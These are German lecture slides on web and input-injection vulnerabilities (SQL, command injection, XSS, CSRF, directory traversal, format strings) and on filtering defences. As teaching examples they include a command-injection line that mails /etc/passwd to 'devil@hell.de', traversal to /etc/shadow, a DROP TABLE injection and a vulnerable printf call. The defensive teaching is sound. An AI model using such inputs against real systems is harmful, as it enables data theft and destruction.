Fehlende Input-Filterung

Klaus Kusche

Grund-Problem

Benutzer-Eingaben

(= meist *Eingaben in Web-Formularen*,
aber auch Commandline- oder Dialog-Inputs,
Dateien und Netz-Requests, ...)

werden ***nicht gefiltert***

==> *Lösen später im Programm*
durch ***Sonderzeichen mit spezieller Bedeutung***
völlig ***unerwartete Effekte*** *aus*

Oft: ***Ausführung im Input versteckter,***
beliebiger Befehle

Unter-Kategorien

- SQL Injection
  und andere Abfrage-Sprachen
- Command Injection
- Cross Site Scripting
- Directory Traversal
- Format string exploits
- Regular Expressions

SQL Injection

Input wird als *String* in einen *SQL-Befehl* eingebaut (z.B. in ein **SELECT** oder **INSERT**).

Problem: ***"String-Ende"-Zeichen*** wird *nicht gefiltert*

Effekt:

- String im ursprünglichen **SELECT**, **INSERT**, ... *endet* beim eingetippten Stringende-Zeichen
- Rest des Inputs wird *als SQL-Befehlstext* interpretiert, z.B. **`; DROP TABLE ...`**

==> *Stringende- und Befehlstrennzeichen entfernen!!!*

XPath Injection

Ähnlich SQL-Injection:

XPath ist eine *Sprache zur Abfrage von Daten*
aus XML-Dokumenten bzw. XML-Datenbanken

Mit Benutzer-Input,
der als Text in XPath-Abfragen eingebaut wird,
lassen sich *andere Daten auslesen*
als ursprünglich geplant,
wenn der Input *XPath-Trennzeichen* enthält,
z.B. `[] / @ '`

LDAP Injection

Ähnlich SQL-Injection:

Auch LDAP-Abfragen bestehen aus einem

String von Texten und Sonderzeichen

Wenn *Inputs als Textfelder* in LDAP-Abfragen eingebaut werden, aber *Sonderzeichen enthalten*, können u.U. *andere als die geplanten LDAP-Attribute* abgefragt und angezeigt werden.

Command Injection (1)

Der Input wird als *Parameter in einen Shell-Befehl*
(= **`system`**-Aufruf) oder ein Shell-Skript eingebaut
(z.B. als URL oder Filename,
aber vor allem häufig als Mail-Adresse)

- **Problem 1:** *"Directory Traversal"*
  ==> Eigenes Kapitel
- **Problem 2:** *Command-Trennzeichen* nicht gefiltert

  Effekt: Rest des Inputs
  wird als *eigener Shell-Befehl* ausgeführt, z.B.

```
; mailx devil@hell.de < /etc/passwd
```

Command Injection (2)

- **Problem 3:** *Redirect-Zeichen* **<** **>** nicht gefiltert

  Effekt: *Auslesen* oder *Überschreiben*
  beliebiger Dateien am System
  (wie auch in 2: schlimmstenfalls als **`root`**)

- **Problem 4:**

  Die (zukünftigen) Features einer Shell
  sind fast unüberschaubar!

  (was heute noch gut genug gefiltert ist,
  kann bei der nächsten Shell-Version zu wenig sein!)

XSS - Cross Site Scripting (1)

Input eines Users wird *in Webseiten eingebaut*
(und damit *bei anderen / vielen Usern angezeigt*)

Beispiel:

Texteingaben in Foren

Problem 1:

Text enthält *JavaScript* oder andere *aktive Inhalte*

==> Wird *bei allen lesenden Usern ausgeführt*,
JavaScript kann sehr viel, auch viel Böses...

Sonderfall: ***"Cross Site Request Forgery"*** (später)

XSS - Cross Site Scripting (2)

Problem 2:

HTML im Text zeigt Bilder, Videos, ... an, verlinkt auf URL's, bindet Flash ein, ...

Effekt:

- Werbung, Werbe- und Klick*betrug*
- Ausnutzung von anderen Sicherheits-Lücken durch *präparierte Grafiken* oder Flash-Inhalte

Problem 3:

Per XSS verteilter Code spielt *Krypto-Miner*

Cross Site Request Forgery (1)

Mittels XSS eingefügter HTML-Schadcode
enthält *Requests an* einen Zielserver,
der *anmeldepflichtige Dienste* anbietet
(Bank-Server, firmeninterne Web-Applikation, ...)

Wenn das Opfer dort *gerade angemeldet* ist
(*"abmelden"* vergessen, Sitzung in einem anderen Tab, ...),
schickt der Browser mit diesen Requests
automatisch die *korrekte Anmelde-Info* mit
(d.h. Session-Cookie usw.)

==> *Der Server akzeptiert diese Requests*
im Namen des mit XSS angegriffenen Benutzers!

Cross Site Request Forgery (2)

Typischerweise versendet XSRF nicht URL's,
die einfach Inhalte laden,
sondern schickt mit JavaScript heimlich

POST-Requests (d.h. Formular-Eingaben),
die ***irgendwelche Aktionen***
im angegriffenen Web-Dienst auslösen

(z.B. *"Passwort ändern"* oder
eine *Ein-Klick-Bestellung*).

Cross Site Request Forgery (3)

Beispiel:

- Opfer Franz hat im Tab A eine angemeldete Session auf Host **`nice.shop`** laufen
- Franz lädt in anderem Tab B eine Seite von **`forum.info`**, die unsichtbar XSS-verseucht ist
- Der versteckte Code in der **`forum.info`**-Seite in B schickt heimlich POST-Requests an **`nice.shop`** : z.B. *"Wohnadresse ändern"* und *"bestellen"*
- Der Browser schickt mit diesen POST-Requests die Session-Cookies von **`nice.shop`** aus Tab A mit

==> **`nice.shop`** *bekommt die "bösen" Requests aus Tab B mit gültigen Session-Daten von Franz in A und führt sie aus!*

Directory Traversal (1)

Input wird als *Filename* oder *URL* verwendet

Fall 1:

Filename bzw. URL sollten
***gar keinen** Directory-Teil* enthalten,
d.h. auf Files im aktuellen Dir beschränkt sein

Problem: *Dir-Trennzeichen* / bzw. \ nicht gefiltert

Effekt: Zugriff auf *beliebige Dateien* im System!
(z.B. mit Webserver-Rechten)
Zumindest Zugriff auf eigentlich nicht verlinkte
Skript-Unterverzeichnisse usw. des Webservers

Directory Traversal (2)

Fall 2:

Filename bzw. URL sollte *nur **relativen** Pfad unterhalb* des aktuellen Dir enthalten

Probleme:

- *Vater-Verzeichnise* **`blabla/../../xxx`**
- *Absoluter Pfad* **`//...`**
- *Laufwerksangaben* **`C:/xxx`**

Effekt wie in 1.:

- *Ausbruch* aus dem Webcontent-Unterverzeichnis
- Schlimmstenfalls **`../../../../etc/shadow`**

`printf` Format String

Niemals einen String, der *Inputdaten* enthält,
als **`printf`**-*Formatstring* verwenden!

`printf(user_inp);`

ist böse!!!

Effekt:

Wenn der Benutzer einen String mit **%** eingibt:
`printf` greift auf *nicht vorhandenen Parameter* zu!

==> Zumindest *Absturz*

==> Mit viel Glück für *Memory-Angriffe* verwendbar

Regular Expressions (1)

Input, der nur *"einfacher Text"* sein sollte, wird

- *als Ganzes* als Regex-*Suchmuster* verwendet
- *als Text* in ein vorgegebenes Regex-Suchmuster (z.B. einen Filter) *eingebaut*

Keine Command-Ausführung, aber andere Probleme, wenn der Text *Regex-Metazeichen* enthält:

- ***DoS*** *"Denial of Service"*
  (Regex-Matcher braucht "ewig" / stürzt ab)
- Regex-Filter *filtert nicht mehr* wie geplant

Regular Expressions (2)

Input, der *mittels Regular Expressions gefiltert* wird,
wird vorher nicht auf **\n** mittendrin geprüft.

Mit **\n** im Input lassen sich
viele Regex-Filter austricksen:

- **.** passt für jedes Zeichen *außer* **\n**

  ==> **xxx\nxxx** wird von **.*** nicht erfasst

- Regex mit **^** und **$** werden ev. durch **\n** verwirrt

==> *Filter lässt ev. Dinge durch,*
die er eigentlich filtern sollte!

XML

XML wird oft für strukturierte Datenspeicherung und -übertragung verwendet (z.B. SOAP-Protokoll)

Nicht übersehen:

*XML erlaubt **Include von anderen Dateien***
(auch Remote mit beliebigen URL's)

Können *beliebige* nicht-XML-Dateien sein,
z.B. **`/etc/passwd`**

==> Wird schlimmstenfalls angezeigt!

==> XML filtern oder XML-Interpreter einschränken!

Allgemeine Behebung (1)

In Zeiten von ***Unicode***:

"Negativ-Filterung" *(= böse Zeichen weg)*
ist ***unzuverlässig***

... weil neue / zukünftige Unicode-Zeichen
auch Sonderzeichen-Wirkung haben können!

z.B. *"unbreakable Space"* gilt auch als Zwischenraum,
"low Quote" gilt ev. als Anführungszeichen, ...

==> Fixe und *"zukunftsfeste" Liste*
aller *"kritischen" Sonderzeichen* ist *kaum möglich*!

Allgemeine Behebung (2)

In Zeiten von ***Unicode***:

"Positiv-Filterung"
(= nur gute Zeichen durchlassen)
*mit **fixer** Zeichenliste*
*ist **auch nicht machbar***

Aus denselben Gründen:

Fixe *Liste aller "harmlosen" Zeichen*
(incl. chinesische, arabische, ...)
ist *nicht machbar*.

Allgemeine Behebung (3)

In vielen Fällen am besten:

Positiv-Filterung
(nicht Negativ-Filterung!)

mit

- expliziten *notwendigen Sonderzeichen*
  (z.B. nur `@ . -` bei Mail-Adressen)
- *Zeichenklassen*-Prüffunktionen
  (**`isalpha`**, **`isdigit`**, ...)
  für den "normalen" Input-Text

Allgemeine Behebung (4)

Ausnahme:

Wenn das “Backend” (SQL-Server, Shell, ...)
nicht vollen Unicode versteht,
sondern z.B. nur ASCII oder ISO Latin

==> Auch *nur ASCII durchlassen!*

==> Bzw. *Zeichensatz-Umwandlung* nicht vergessen!